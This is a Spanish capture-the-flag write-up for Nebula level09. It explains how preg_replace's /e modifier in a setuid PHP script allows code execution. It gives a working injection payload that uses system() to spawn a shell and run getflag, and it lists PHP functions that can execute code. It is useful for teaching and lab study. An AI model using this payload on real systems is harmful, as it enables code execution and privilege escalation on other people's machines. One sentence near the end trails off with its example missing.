Level 09 "preg_replace() Code Execution"
---------------------------------------
[Enlace externo eliminado para invitados]
user: level09
pass: level09
En la descripción del nivel, no dice que hay un C setuid wrapper para un código PHP vulnerable y nos dan este source code:
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
De entra nos vamos directamente a '/home/flag09' y hacemos list directory:
Código: Seleccionar todo
ls -l
total 12
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root root 491 2011-11-20 21:22 flag09.php
Podemos observar que primero, el fichero 'flag09', es el que nos permitirá obtener la bandera, puesto que tiene nuestro SetUID Bit.
Ahora procedamos a analizar un poco el código en si.
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
Tenemos un función llamada 'spam' que como argumento tiene '$email', dentro de la función
se utiliza 'preg_replace', para realizar una búsqueda con expresiones regulares y generar reemplazos.
Es decir, en la primera linea 'preg_replace("/\./", " dot ", $email);' buscara puntos '.' y los remplazar por 'dot'.
En la segunda linea '$email = preg_replace("/@/", " AT ", $email);' buscara '@' y los remplazara por 'AT'.
Podemos notar el uso de preg_replace, ya que como primer argumento se le pasa la expresión regular a buscar; el segundo
argumento que toma es con que va a remplazar la expresión regular que encontró y el tercer argumento es la cadena o matriz
de cadenas a buscar y sustituir. <<
[Enlace externo eliminado para invitados] >>
Y nos regresa con return nuestra nueva cadena de caracteres una vez invocado 'preg_replace()'.
Después tenemos algo como esto:
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
Una función llamada 'markup', que toma dos argumentos '$filename' y '$use_me'.
Dentro de la función tenemos propiamente que la primera linea, 'file_get_contents($filename);', obtiene el contenido de un fichero.
La segunda 'preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);' ya vimos su funcionamiento mas arriba y el resto de igual forma,
solo termina con un return y nos regresa de nuevo $contents.
QUE ESTRICTAMENTE PROHIBIDO 'EXPLOTAR O ABUSAR' DE ALGO SIN SABER SU FUNCIONAMIENTO.
Me tome la libertad de explicar un poco mas de lo que quería el código, puesto que me parece interesante este nivel en particular.
Y como dije, si entendemos lo que estamos haciendo podremos obtener mayor ventaja al momento de explotar o hacer lo que sea.
Entonces, tenemos un bonito remote code execution aquí.
Y muchos no habrán visto pero la en:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
Hay un pequeño /e dentro del primer argumento pero FUERA de la expresion regular y este es el eval_modifier de preg_replace
[Enlace externo eliminado para invitados]
No so un experto en PHP, a decir verdad me molesta este lengauje, pero es interesante ya que en la documentación oficial
[Enlace externo eliminado para invitados] citan:
Esta función ha sido declarada OBSOLETA desde PHP 5.5.0. Basándose en esta característica es sumamente desalentador.
Correcto, aquí es donde vamos a poder realizar nuestro code execution :) --por eso es muy importante saber que vamos a explotar y mientras mejor
sepamos que es lo que hace, mas oportunidades tendremos para realizar la tarea--
Entonces el famoso preg_replace_eval_modifier nos dice que:
Si este modificador esta seteado, preg_replace() realiza la sustitución normal de backreferences en la cadena de reemplazo,
la evalúa como código PHP, y usa el resultado para la sustitución de la cadena de búsqueda. Las comillas simples, comillas dobles,
barras invertidas (\) y caracteres NULL serán escapados con backreferences en backreferences sustituidos.
Entonces vamos a ejecutar el código para fundamentar todo lo anterior:
Código: Seleccionar todo
echo "[email [email protected]]" > /tmp/myemail
level09@nebula:/home/flag09$ cat /tmp/myemail
[email [email protected]]
./flag09 /tmp/myemail
PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
julianstafari AT greydtosec dot com
Vemos que se ha cumplido lo dicho anteriormente y ya sin darle mas vueltas al asunto, en la función 'markup()', si se dieron cuenta
el segundo parámetro que pide '$use_me', jamas es utilizado dentro de la función no?. Solo se trabaja con el contenido que se lee
del fichero con file_get_contents($filename), el argumento no es mas que el primer que toma la funcion.
Entonces, si ponemos código PHP en el contenido del fichero para que lo lea nuestra función 'file_get_contents($filename);',
entonces técnicamente, 'preg_replace' cumplira su condicion con el eval_modifier y si utilizamos el segundo parámetro para obtener ventaja
podríamos hacer la acción que deseamos y poder obtener nuestra bandera:
Código: Seleccionar todo
echo "[email {${system($use_me)}}]" >> /tmp/codexec
chmod +x /tmp/codexec
./flag09 /tmp/codexec /bin/sh
sh-4.2$
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$ exit
Ahora, se preguntara algunas cosas que no voy a responder, solo diré que si ponen atencion en la linea
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
se darán cuenta por que no pusimos directamente el 'getflag' o '/bin/getflag' y también se puede utiliza no solo system, si no también
Shell Execute
- system
- exec
- popen
- backtick operator
- pcntl_exec
- PHP Execute
PHP Execute
- eval
- preg_replace (with /e modifier)
- create_function
- include[_once] / require[_once]
También pudimos haber echo esto:
obteniendo el mismo resultado
Moraleja: Usar la documentación que nos brindan antes de decidir si utilizamos 'x' o 'y' función y cual nos conviene mas.